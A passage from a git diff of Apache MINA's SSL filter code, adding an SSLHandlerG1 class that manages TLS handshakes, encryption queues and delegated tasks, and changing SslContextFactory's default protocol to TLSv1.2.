NEED_WRAP: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_user_loop() - handshake needs wrap, looping", toString()); + } + + return write_user_loop(next, request); + + case FINISHED: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_user_loop() - handshake finished, flushing queue", toString()); + } + + finish_handshake(next); + + return write_user_loop(next, request); + } + + return false; + } + + /** + * Attempts to generate a handshake message and write the data to the IoSession + * + * @param next + * + * @return {@code true} if a message was generated and written + * + * @throws SSLException + */ + synchronized protected boolean write_handshake(NextFilter next) throws SSLException { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_handshake() - internal", toString()); + } + + IoBuffer source = ZERO; + IoBuffer dest = allocate_encode_buffer(source.remaining()); + + return write_handshake_loop(next, source, dest); + } + + /** + * Attempts to generate a handshake message and write the data to the IoSession. + *

    + * If FAST_HANDSHAKE is enabled, this method will recursively loop in order to + * combine multiple messages into one buffer. + * + * @param next + * @param source + * @param dest + * + * @return {@code true} if a message was generated and written + * + * @throws SSLException + */ + @SuppressWarnings("incomplete-switch") + protected boolean write_handshake_loop(NextFilter next, IoBuffer source, IoBuffer dest) throws SSLException { + if (mOutboundClosing && mEngine.isOutboundDone()) { + return false; + } + + SSLEngineResult result = mEngine.wrap(source.buf(), dest.buf()); + + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_handshake_loop() - bytes-consumed {}, bytes-produced {}, status {}, handshake {}", + toString(), result.bytesConsumed(), result.bytesProduced(), result.getStatus(), + result.getHandshakeStatus()); + } + + if (ENABLE_FAST_HANDSHAKE) { + /** + * Fast handshaking allows multiple handshake messages to be written to a single + * buffer. This reduces the number of network messages used during the handshake + * process. + * + * Additional handshake messages are only written if a message was produced in + * the last loop otherwise any additional messages need to be written by + * NEED_WRAP will be handled in the standard routine below which allocates a new + * buffer. + */ + switch (result.getHandshakeStatus()) { + case NEED_WRAP: + switch (result.getStatus()) { + case OK: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_handshake_loop() - handshake needs wrap, fast looping", + toString()); + } + + return write_handshake_loop(next, source, dest); + } + break; + } + } + + boolean success = dest.position() != 0; + + if (success == false) { + dest.free(); + } else { + dest.flip(); + + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_handshake_loop() - result {}", toString(), dest); + } + + EncryptedWriteRequest encrypted = new EncryptedWriteRequest(dest, null); + next.filterWrite(mSession, encrypted); + } + + switch (result.getHandshakeStatus()) { + case NEED_UNWRAP: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_handshake_loop() - handshake needs unwrap, invoking receive", toString()); + } + + receive(next, ZERO); + break; + + case NEED_WRAP: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_handshake_loop() - handshake needs wrap, looping", toString()); + } + + write_handshake(next); + break; + + case NEED_TASK: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_handshake_loop() - handshake needs task, scheduling", toString()); + } + + schedule_task(next); + break; + + case FINISHED: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_handshake_loop() - handshake finished, flushing queue", toString()); + } + + finish_handshake(next); + break; + } + + return success; + } + + /** + * Marks the handshake as complete and emits any signals + * + * @param next + * @throws SSLException + */ + synchronized protected void finish_handshake(NextFilter next) throws SSLException { + if (mHandshakeComplete == false) { + mHandshakeComplete = true; + mSession.setAttribute(SslFilter.SSL_SECURED, mEngine.getSession()); + next.event(mSession, SslEvent.SECURED); + } + + /** + * There exists a bug in the JDK which emits FINISHED twice instead of once. + */ + receive(next, ZERO); + flush(next); + } + + /** + * Flushes the encode queue + * + * @param next + * + * @throws SSLException + */ + synchronized public void flush(NextFilter next) throws SSLException { + if (mOutboundClosing && mOutboundLinger == false) { + return; + } + + if (mEncodeQueue.size() == 0) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} flush() - no saved messages", toString()); + } + + return; + } + + WriteRequest current = null; + + while ((mAckQueue.size() < MAX_UNACK_MESSAGES) && (current = mEncodeQueue.poll()) != null) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} flush() - {}", toString(), current); + } + + if (write_user_loop(next, current) == false) { + mEncodeQueue.addFirst(current); + + break; + } + } + + if (mOutboundClosing && mEncodeQueue.size() == 0) { + mEngine.closeOutbound(); + + if (ENABLE_SOFT_CLOSURE) { + write_handshake(next); + } + } + } + + /** + * {@inheritDoc} + */ + @Override + synchronized public void close(NextFilter next, boolean linger) throws SSLException { + if (mOutboundClosing) { + return; + } + + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} close() - closing session", toString()); + } + + if (mHandshakeComplete) { + next.event(mSession, SslEvent.UNSECURED); + } + + mOutboundLinger = linger; + mOutboundClosing = true; + + if (linger == false) { + if (mEncodeQueue.size() != 0) { + next.exceptionCaught(mSession, new WriteRejectedException(new ArrayList<>(mEncodeQueue), "closing")); + mEncodeQueue.clear(); + } + + mEngine.closeOutbound(); + + if (ENABLE_SOFT_CLOSURE) { + write_handshake(next); + } + } else { + flush(next); + } + } + + /** + * Process the pending error and loop to send the associated alert if we have some. + * + * @param next The next filter in the chain + * @throws SSLException The rethrown pending error + */ + synchronized protected void throw_pending_error(NextFilter next) throws SSLException { + SSLException sslException = mPendingError; + + if (sslException != null) { + // Loop to send back the alert messages + receive_loop(next, null); + + mPendingError = null; + + // And finally rethrow the exception + throw sslException; + } + } + + /** + * Store any error we've got during the handshake or message handling + * + * @param sslException The exfeption to store + */ + synchronized protected void store_pending_error(SSLException sslException) { + if (mPendingError == null) { + mPendingError = sslException; + } + } + + /** + * Schedule a SSLEngine task for execution, either using an Executor, or immediately. + * + * @param next The next filter to call + */ + protected void schedule_task(NextFilter next) { + if (ENABLE_ASYNC_TASKS && (mExecutor != null)) { + mExecutor.execute(new Runnable() { + @Override + public void run() { + SSLHandlerG0.this.execute_task(next); + } + }); + } else { + execute_task(next); + } + } + + /** + * Execute a SSLEngine task. We may have more than one. + * + * If we get any exception during the processing, an error is stored and thrown. + * + * @param next The next filer in the chain + */ + synchronized protected void execute_task(NextFilter next) { + Runnable task = null; + + while ((task = mEngine.getDelegatedTask()) != null) { + try { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} task() - executing {}", toString(), task); + } + + task.run(); + + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} task() - writing handshake messages", toString()); + } + + write_handshake(next); + } catch (SSLException e) { + store_pending_error(e); + + try { + throw_pending_error(next); + } catch ( SSLException ssle) { + // ... + } + + if (LOGGER.isErrorEnabled()) { + LOGGER.error("{} task() - storing error {}", toString(), e); + } + } + } + } +} diff --git a/mina-core/src/main/java/org/apache/mina/filter/ssl/SSLHandlerG1.java b/mina-core/src/main/java/org/apache/mina/filter/ssl/SSLHandlerG1.java new file mode 100644 index 0000000000..78a8cdbbbe --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/filter/ssl/SSLHandlerG1.java @@ -0,0 +1,856 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.filter.ssl; + +import org.apache.mina.core.buffer.IoBuffer; +import org.apache.mina.core.filterchain.IoFilter.NextFilter; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.core.write.WriteRejectedException; +import org.apache.mina.core.write.WriteRequest; +import org.apache.mina.filter.FilterEvent; + +import javax.net.ssl.SSLEngine; +import javax.net.ssl.SSLEngineResult; +import javax.net.ssl.SSLException; +import java.nio.BufferOverflowException; +import java.util.ArrayList; +import java.util.Deque; +import java.util.concurrent.ConcurrentLinkedDeque; +import java.util.concurrent.Executor; + +/** + * Default implementation of SSLHandler + *

    + * The concurrency model is enforced using a simple mutex to ensure that the + * state of the decode buffer and closure is concurrent with the SSLEngine. + * + * @author Jonathan Valliere + * @author Apache MINA Project + */ +/* package protected */ class SSLHandlerG1 extends SslHandler { + + /** + * Maximum number of queued messages waiting for encoding + */ + static protected final int MAX_QUEUED_MESSAGES = 64; + + /** + * Maximum number of messages waiting acknowledgement + */ + static protected final int MAX_UNACK_MESSAGES = 6; + + /** + * Writes the SSL Closure messages after a close request + */ + static protected final boolean ENABLE_SOFT_CLOSURE = true; + + /** + * Enable aggregation of handshake messages + */ + static protected final boolean ENABLE_FAST_HANDSHAKE = true; + + /** + * Enable asynchronous tasks. Default to false. + */ + static protected final boolean ENABLE_ASYNC_TASKS = false; + + /** + * Indicates whether the first handshake was completed + */ + protected boolean mHandshakeComplete = false; + + /** + * Indicated whether the first handshake was started + */ + protected boolean mHandshakeStarted = false; + + /** + * Indicates that the outbound is closing + */ + protected boolean mOutboundClosing = false; + + /** + * Indicates that previously queued messages should be written before closing + */ + protected boolean mOutboundLinger = false; + + /** + * Holds the decoder thread reference; used for recursion detection introduced by a delegated task + */ + protected volatile Thread mReceiveThread = null; + + /** + * Encoded buffers ready for processing upstream + */ + protected final Deque mWriteQueue = new ConcurrentLinkedDeque<>(); + + /** + * Decoded buffers ready for processing downstream + */ + protected final Deque mReceiveQueue = new ConcurrentLinkedDeque<>(); + + /** + * Pending filter events for dispatching + */ + protected final Deque mEventQueue = new ConcurrentLinkedDeque<>(); + + /** + * Captured error state + */ + protected SSLException mPendingError = null; + + /** + * Instantiates a new handler + * + * @param sslEngine The SSLEngine instance + * @param executor The executor instance to use to process tasks + * @param session The session to handle + */ + public SSLHandlerG1(SSLEngine sslEngine, Executor executor, IoSession session) { + super(sslEngine, executor, session); + } + + /** + * {@inheritDoc} + */ + @Override + public boolean isOpen() { + return mEngine.isOutboundDone() == false; + } + + /** + * {@inheritDoc} + */ + @Override + public boolean isConnected() { + return mHandshakeComplete && isOpen(); + } + + /** + * {@inheritDoc} + */ + @Override + public void open(NextFilter next) throws SSLException { + try { + open_start(next); + throw_pending_error(next); + } finally { + forward_writes(next); + forward_events(next); + } + } + + synchronized protected void open_start(NextFilter next) throws SSLException { + if (mHandshakeStarted == false) { + mHandshakeStarted = true; + if (mEngine.getUseClientMode()) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} open() - begin handshaking", this); + } + mEngine.beginHandshake(); + write_handshake(next); + } + } + } + + /** + * {@inheritDoc} + */ + @Override + public void receive(NextFilter next, IoBuffer message) throws SSLException { + try { + receive_start(next, message); + throw_pending_error(next); + } finally { + forward_writes(next); + forward_received(next); + forward_events(next); + } + } + + synchronized protected void receive_start(NextFilter next, IoBuffer message) throws SSLException { + if(mReceiveThread == Thread.currentThread()) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} receive() - recursion", toString()); + } + receive_loop(next, mDecodeBuffer); + } else { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} receive() - message {}", toString(), message); + } + mReceiveThread = Thread.currentThread(); + IoBuffer source = resume_decode_buffer(message); + try { + receive_loop(next, source); + } finally { + suspend_decode_buffer(source); + mReceiveThread = null; + } + } + } + + /** + * Process a received message + * + * @param next The next filter + * @param message The message to process + * + * @throws SSLException If we get some error while processing the message + */ + @SuppressWarnings("incomplete-switch") + protected void receive_loop(NextFilter next, IoBuffer message) throws SSLException { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} receive_loop() - source {}", toString(), message); + } + + if (mEngine.isInboundDone()) { + switch (mEngine.getHandshakeStatus()) { + case NEED_WRAP: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} receive_loop() - handshake needs wrap, invoking write", toString()); + } + + write_handshake(next); + break; + } + + if ( mPendingError != null ) { + throw mPendingError; + } else { + throw new IllegalStateException("closed"); + } + } + + IoBuffer source = message; + + // No need to fo for another loop if the message is empty + if (source.remaining() == 0) { + return; + } + + IoBuffer dest = allocate_app_buffer(source.remaining()); + + SSLEngineResult result = mEngine.unwrap(source.buf(), dest.buf()); + + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} receive_loop() - bytes-consumed {}, bytes-produced {}, status {}, handshake {}", + toString(), result.bytesConsumed(), result.bytesProduced(), result.getStatus(), + result.getHandshakeStatus()); + } + + if (result.bytesProduced() == 0) { + dest.free(); + } else { + dest.flip(); + + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} receive_loop() - result {}", toString(), dest); + } + + mReceiveQueue.add(dest); + } + + switch (result.getHandshakeStatus()) { + case NEED_UNWRAP: + if (result.bytesConsumed() != 0 && message.hasRemaining()) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} receive_loop() - handshake needs unwrap, looping", toString()); + } + + receive_loop(next, message); + } + + break; + case NEED_TASK: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} receive_loop() - handshake needs task, scheduling", toString()); + } + + schedule_task(next); + + break; + case NEED_WRAP: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} receive_loop() - handshake needs wrap, invoking write", toString()); + } + + write_handshake(next); + break; + + case FINISHED: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} receive_loop() - handshake finished, flushing queue", toString()); + } + + finish_handshake(next); + break; + + case NOT_HANDSHAKING: + if ((result.bytesProduced() != 0 || result.bytesConsumed() != 0) && message.hasRemaining()) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} receive_loop() - trying to decode more messages, looping", toString()); + } + + receive_loop(next, message); + } + + break; + } + } + + /** + * {@inheritDoc} + */ + @Override + public void ack(NextFilter next, WriteRequest request) throws SSLException { + try { + ack_start(next, request); + throw_pending_error(next); + } finally { + forward_writes(next); + forward_events(next); + } + } + + synchronized protected void ack_start(NextFilter next, WriteRequest request) throws SSLException { + if (mAckQueue.remove(request)) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} ack() - accepted {}", toString(), request); + } + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} ack() - checking to see if any messages can be flushed", toString(), request); + } + flush_start(next); + } else { + if(LOGGER.isWarnEnabled()) { + LOGGER.warn("{} ack() - unknown message {}", toString(), request); + } + } + } + + /** + * {@inheritDoc} + */ + @Override + public void write(NextFilter next, WriteRequest request) throws SSLException, WriteRejectedException { + try { + write_start(next, request); + throw_pending_error(next); + } finally { + forward_writes(next); + forward_events(next); + } + } + + synchronized protected void write_start(NextFilter next, WriteRequest request) throws SSLException, WriteRejectedException { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write() - source {}", toString(), request); + } + if (mOutboundClosing) { + throw new WriteRejectedException(request, "closing"); + } + if (mEncodeQueue.isEmpty()) { + if (write_loop(next, request) == false) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write() - unable to write right now, saving request for later", toString(), + request); + } + if (mEncodeQueue.size() == MAX_QUEUED_MESSAGES) { + throw new BufferOverflowException(); + } + mEncodeQueue.add(request); + } + } else { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write() - unable to write right now, saving request for later", toString(), request); + } + if (mEncodeQueue.size() == MAX_QUEUED_MESSAGES) { + throw new BufferOverflowException(); + } + mEncodeQueue.add(request); + } + } + + /** + * Attempts to encode the WriteRequest and write the data to the IoSession + * + * @param next + * @param request + * + * @return {@code true} if the WriteRequest was fully consumed; otherwise + * {@code false} + * + * @throws SSLException + */ + @SuppressWarnings("incomplete-switch") + synchronized protected boolean write_loop(NextFilter next, WriteRequest request) throws SSLException { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_loop() - source {}", toString(), request); + } + + IoBuffer source = IoBuffer.class.cast(request.getMessage()); + IoBuffer dest = allocate_encode_buffer(source.remaining()); + + SSLEngineResult result = mEngine.wrap(source.buf(), dest.buf()); + + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_loop() - bytes-consumed {}, bytes-produced {}, status {}, handshake {}", + toString(), result.bytesConsumed(), result.bytesProduced(), result.getStatus(), + result.getHandshakeStatus()); + } + + if (result.bytesProduced() == 0) { + dest.free(); + } else { + if (result.bytesConsumed() == 0) { + // an handshaking message must have been produced + EncryptedWriteRequest encrypted = new EncryptedWriteRequest(dest, null); + + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_loop() - result {}", toString(), encrypted); + } + + mWriteQueue.add(encrypted); + // do not return because we want to enter the handshake switch + } else { + // then we probably consumed some data + dest.flip(); + + if (source.hasRemaining()) { + EncryptedWriteRequest encrypted = new EncryptedWriteRequest(dest, null); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_loop() - result {}", toString(), encrypted); + } + + mWriteQueue.add(encrypted); + + if (mWriteQueue.size() + mAckQueue.size() < MAX_UNACK_MESSAGES) { + return write_loop(next, request); // write additional chunks + } + + return false; + } else { + EncryptedWriteRequest encrypted = new EncryptedWriteRequest(dest, request); + + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_loop() - result {}", toString(), encrypted); + } + + mWriteQueue.add(encrypted); + + return true; + } + // we return because there is not reason to enter the handshake switch + } + } + + switch (result.getHandshakeStatus()) { + case NEED_TASK: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_loop() - handshake needs task, scheduling", toString()); + } + + schedule_task(next); + break; + + case NEED_WRAP: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_loop() - handshake needs wrap, looping", toString()); + } + + return write_loop(next, request); + + case FINISHED: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_loop() - handshake finished, flushing queue", toString()); + } + + finish_handshake(next); + + return write_loop(next, request); + } + + return false; + } + + /** + * Attempts to generate a handshake message and write the data to the IoSession + * + * @param next + * + * @return {@code true} if a message was generated and written + * + * @throws SSLException + */ + synchronized protected boolean write_handshake(NextFilter next) throws SSLException { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_handshake() - internal", toString()); + } + + IoBuffer source = ZERO; + IoBuffer dest = allocate_encode_buffer(source.remaining()); + + return write_handshake_loop(next, source, dest); + } + + /** + * Attempts to generate a handshake message and write the data to the IoSession. + *

    + * If FAST_HANDSHAKE is enabled, this method will recursively loop in order to + * combine multiple messages into one buffer. + * + * @param next + * @param source + * @param dest + * + * @return {@code true} if a message was generated and written + * + * @throws SSLException + */ + @SuppressWarnings("incomplete-switch") + protected boolean write_handshake_loop(NextFilter next, IoBuffer source, IoBuffer dest) throws SSLException { + if (mOutboundClosing && mEngine.isOutboundDone()) { + return false; + } + + SSLEngineResult result = mEngine.wrap(source.buf(), dest.buf()); + + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_handshake_loop() - bytes-consumed {}, bytes-produced {}, status {}, handshake {}", + toString(), result.bytesConsumed(), result.bytesProduced(), result.getStatus(), + result.getHandshakeStatus()); + } + + if (ENABLE_FAST_HANDSHAKE) { + /** + * Fast handshaking allows multiple handshake messages to be written to a single + * buffer. This reduces the number of network messages used during the handshake + * process. + * + * Additional handshake messages are only written if a message was produced in + * the last loop otherwise any additional messages need to be written by + * NEED_WRAP will be handled in the standard routine below which allocates a new + * buffer. + */ + switch (result.getHandshakeStatus()) { + case NEED_WRAP: + switch (result.getStatus()) { + case OK: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_handshake_loop() - handshake needs wrap, fast looping", + toString()); + } + + return write_handshake_loop(next, source, dest); + } + break; + } + } + + boolean success = dest.position() != 0; + + if (success == false) { + dest.free(); + } else { + dest.flip(); + + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_handshake_loop() - result {}", toString(), dest); + } + + EncryptedWriteRequest encrypted = new EncryptedWriteRequest(dest, null); + mWriteQueue.add(encrypted); + } + + switch (result.getHandshakeStatus()) { + case NEED_UNWRAP: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_handshake_loop() - handshake needs unwrap, invoking receive", toString()); + } + receive_start(next, ZERO); + break; + + case NEED_WRAP: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_handshake_loop() - handshake needs wrap, looping", toString()); + } + write_handshake(next); + break; + + case NEED_TASK: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_handshake_loop() - handshake needs task, scheduling", toString()); + } + schedule_task(next); + break; + + case FINISHED: + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} write_handshake_loop() - handshake finished, flushing queue", toString()); + } + finish_handshake(next); + break; + } + + return success; + } + + /** + * Marks the handshake as complete and emits any signals + * + * @param next + * @throws SSLException + */ + synchronized protected void finish_handshake(NextFilter next) throws SSLException { + if (mHandshakeComplete == false) { + mHandshakeComplete = true; + mSession.setAttribute(SslFilter.SSL_SECURED, mEngine.getSession()); + mEventQueue.add(SslEvent.SECURED); + } + + /** + * There exists a bug in the JDK which emits FINISHED twice instead of once. + */ + receive_start(next, ZERO); + flush_start(next); + } + + /** + * {@inheritDoc} + */ + public void flush(NextFilter next) throws SSLException { + try { + flush_start(next); + throw_pending_error(next); + } finally { + forward_writes(next); + forward_events(next); + } + } + + /** + * Flushes the encode queue + * + * @param next + * + * @throws SSLException + */ + synchronized protected void flush_start(NextFilter next) throws SSLException { + if (mOutboundClosing && mOutboundLinger == false) { + return; + } + + if (mEncodeQueue.size() == 0) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} flush() - no saved messages", toString()); + } + + return; + } + + WriteRequest current = null; + + while ((mWriteQueue.size() + mAckQueue.size() < MAX_UNACK_MESSAGES) && (current = mEncodeQueue.poll()) != null) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} flush() - {}", toString(), current); + } + + if (write_loop(next, current) == false) { + mEncodeQueue.addFirst(current); + + break; + } + } + + if (mOutboundClosing && mEncodeQueue.size() == 0) { + mEngine.closeOutbound(); + + if (ENABLE_SOFT_CLOSURE) { + write_handshake(next); + } + } + } + + /** + * {@inheritDoc} + */ + @Override + public void close(NextFilter next, boolean linger) throws SSLException { + try { + close_start(next, linger); + throw_pending_error(next); + } finally { + forward_writes(next); + forward_events(next); + } + } + + synchronized protected void close_start(NextFilter next, boolean linger) throws SSLException { + if (mOutboundClosing) { + return; + } + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} close() - closing session", toString()); + } + if (mHandshakeComplete) { + next.event(mSession, SslEvent.UNSECURED); + } + mOutboundLinger = linger; + mOutboundClosing = true; + if (linger == false) { + if (mEncodeQueue.size() != 0) { + next.exceptionCaught(mSession, new WriteRejectedException(new ArrayList<>(mEncodeQueue), "closing")); + mEncodeQueue.clear(); + } + mEngine.closeOutbound(); + if (ENABLE_SOFT_CLOSURE) { + write_handshake(next); + } + } else { + flush_start(next); + } + } + + /** + * Process the pending error and loop to send the associated alert if we have some. + * + * @param next The next filter in the chain + * @throws SSLException The rethrown pending error + */ + synchronized protected void throw_pending_error(NextFilter next) throws SSLException { + SSLException sslException = mPendingError; + if (sslException != null) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} throw_pending_error() - throwing pending error"); + } + // Loop to send back the alert messages + receive_loop(next, null); + mPendingError = null; + // And finally rethrow the exception + throw sslException; + } + } + + /** + * Store any error we've got during the handshake or message handling + * + * @param sslException The exfeption to store + */ + synchronized protected void store_pending_error(SSLException sslException) { + if (mPendingError == null) { + mPendingError = sslException; + } + } + + protected void forward_received(NextFilter next) { + //synchronized (mReceiveQueue) { + IoBuffer x; + while ((x = mReceiveQueue.poll()) != null) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} forward_received() - received {}", toString(), x); + } + next.messageReceived(mSession, x); + } + //} + } + + protected void forward_writes(NextFilter next) { + //synchronized (mWriteQueue) { + EncryptedWriteRequest x; + while ((x = mWriteQueue.poll()) != null) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} forward_writes() - writing {}", toString(), x); + } + mAckQueue.add(x); + next.filterWrite(mSession, x); + } + //} + } + + protected void forward_events(NextFilter next) { + //synchronized (mEventQueue) { + FilterEvent x; + while((x = mEventQueue.poll()) != null) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} forward_events() - dispatching event {}", toString(), x); + } + next.event(mSession, x); + } + //} + } + + /** + * Schedule a SSLEngine task for execution, either using an Executor, or immediately. + * + * @param next The next filter to call + */ + protected void schedule_task(NextFilter next) { + if (ENABLE_ASYNC_TASKS && (mExecutor != null)) { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} schedule_task() - scheduling task", this); + } + mExecutor.execute(() -> { + try { + execute_task(next); + } finally { + forward_writes(next); + } + }); + } else { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} schedule_task() - scheduling disabled, executing inline", this); + } + execute_task(next); + } + } + + /** + * Execute a SSLEngine task. We may have more than one. + * + * If we get any exception during the processing, an error is stored and thrown. + * + * @param next The next filer in the chain + */ + synchronized protected void execute_task(NextFilter next) { + Runnable task; + while ((task = mEngine.getDelegatedTask()) != null) { + try { + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} task() - executing {}", toString(), task); + } + task.run(); + if (LOGGER.isDebugEnabled()) { + LOGGER.debug("{} task() - writing handshake messages", toString()); + } + write_handshake(next); + } catch (SSLException e) { + store_pending_error(e); + try { + throw_pending_error(next); + } catch ( SSLException ssle) { + // ... + } + if (LOGGER.isErrorEnabled()) { + LOGGER.error("{} task() - storing error {}", toString(), e); + } + } + } + } +} diff --git a/mina-core/src/main/java/org/apache/mina/filter/ssl/SslContextFactory.java b/mina-core/src/main/java/org/apache/mina/filter/ssl/SslContextFactory.java index 0a713b2976..d1737a7523 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/ssl/SslContextFactory.java +++ b/mina-core/src/main/java/org/apache/mina/filter/ssl/SslContextFactory.java @@ -33,97 +33,126 @@ /** * A factory that creates and configures a new {@link SSLContext}. *

    - * If no properties are set the returned {@link SSLContext} will - * be equivalent to what the following creates: + * If no properties are set the returned {@link SSLContext} will be equivalent + * to what the following creates: + * *

    - *      SSLContext c = SSLContext.getInstance( "TLS" );
    - *      c.init(null, null, null);
    + * SSLContext c = SSLContext.getInstance("TLSv1.2");
    + * c.init(null, null, null);
      * 
    - *

    *

    * Use the properties prefixed with keyManagerFactory to control * the creation of the {@link KeyManager} to be used. - *

    *

    * Use the properties prefixed with trustManagerFactory to control * the creation of the {@link TrustManagerFactory} to be used. - *

    * * @author Apache MINA Project */ public class SslContextFactory { - + private String provider = null; - private String protocol = "TLS"; + + private String protocol = "TLSv1.2"; + private SecureRandom secureRandom = null; + private KeyStore keyManagerFactoryKeyStore = null; + private char[] keyManagerFactoryKeyStorePassword = null; + private KeyManagerFactory keyManagerFactory = null; + private String keyManagerFactoryAlgorithm = null; + private String keyManagerFactoryProvider = null; + private boolean keyManagerFactoryAlgorithmUseDefault = true; + private KeyStore trustManagerFactoryKeyStore = null; + private TrustManagerFactory trustManagerFactory = null; + private String trustManagerFactoryAlgorithm = null; + private String trustManagerFactoryProvider = null; + private boolean trustManagerFactoryAlgorithmUseDefault = true; + private ManagerFactoryParameters trustManagerFactoryParameters = null; + private int clientSessionCacheSize = -1; + private int clientSessionTimeout = -1; + private int serverSessionCacheSize = -1; + private int serverSessionTimeout = -1; + /** + * Create a new SSLContext instance,using the {@link KeyManagerFactory} and the + * {@link TrustManagerFactory}. + * + * @return The created instance + * @throws Exception If we weren't able to create the SSLContext insyance + */ public SSLContext newInstance() throws Exception { KeyManagerFactory kmf = this.keyManagerFactory; TrustManagerFactory tmf = this.trustManagerFactory; if (kmf == null) { String algorithm = keyManagerFactoryAlgorithm; + if (algorithm == null && keyManagerFactoryAlgorithmUseDefault) { algorithm = KeyManagerFactory.getDefaultAlgorithm(); } + if (algorithm != null) { if (keyManagerFactoryProvider == null) { kmf = KeyManagerFactory.getInstance(algorithm); } else { - kmf = KeyManagerFactory.getInstance(algorithm, - keyManagerFactoryProvider); + kmf = KeyManagerFactory.getInstance(algorithm, keyManagerFactoryProvider); } } } if (tmf == null) { String algorithm = trustManagerFactoryAlgorithm; + if (algorithm == null && trustManagerFactoryAlgorithmUseDefault) { algorithm = TrustManagerFactory.getDefaultAlgorithm(); } + if (algorithm != null) { if (trustManagerFactoryProvider == null) { tmf = TrustManagerFactory.getInstance(algorithm); } else { - tmf = TrustManagerFactory.getInstance(algorithm, - trustManagerFactoryProvider); + tmf = TrustManagerFactory.getInstance(algorithm, trustManagerFactoryProvider); } } } KeyManager[] keyManagers = null; + if (kmf != null) { - kmf.init(keyManagerFactoryKeyStore, - keyManagerFactoryKeyStorePassword); + kmf.init(keyManagerFactoryKeyStore, keyManagerFactoryKeyStorePassword); keyManagers = kmf.getKeyManagers(); } + TrustManager[] trustManagers = null; + if (tmf != null) { if (trustManagerFactoryParameters != null) { tmf.init(trustManagerFactoryParameters); } else { tmf.init(trustManagerFactoryKeyStore); } + trustManagers = tmf.getTrustManagers(); } - SSLContext context = null; + SSLContext context; + if (provider == null) { context = SSLContext.getInstance(protocol); } else { @@ -133,23 +162,19 @@ public SSLContext newInstance() throws Exception { context.init(keyManagers, trustManagers, secureRandom); if (clientSessionCacheSize >= 0) { - context.getClientSessionContext().setSessionCacheSize( - clientSessionCacheSize); + context.getClientSessionContext().setSessionCacheSize(clientSessionCacheSize); } if (clientSessionTimeout >= 0) { - context.getClientSessionContext().setSessionTimeout( - clientSessionTimeout); + context.getClientSessionContext().setSessionTimeout(clientSessionTimeout); } if (serverSessionCacheSize >= 0) { - context.getServerSessionContext().setSessionCacheSize( - serverSessionCacheSize); + context.getServerSessionContext().setSessionCacheSize(serverSessionCacheSize); } if (serverSessionTimeout >= 0) { - 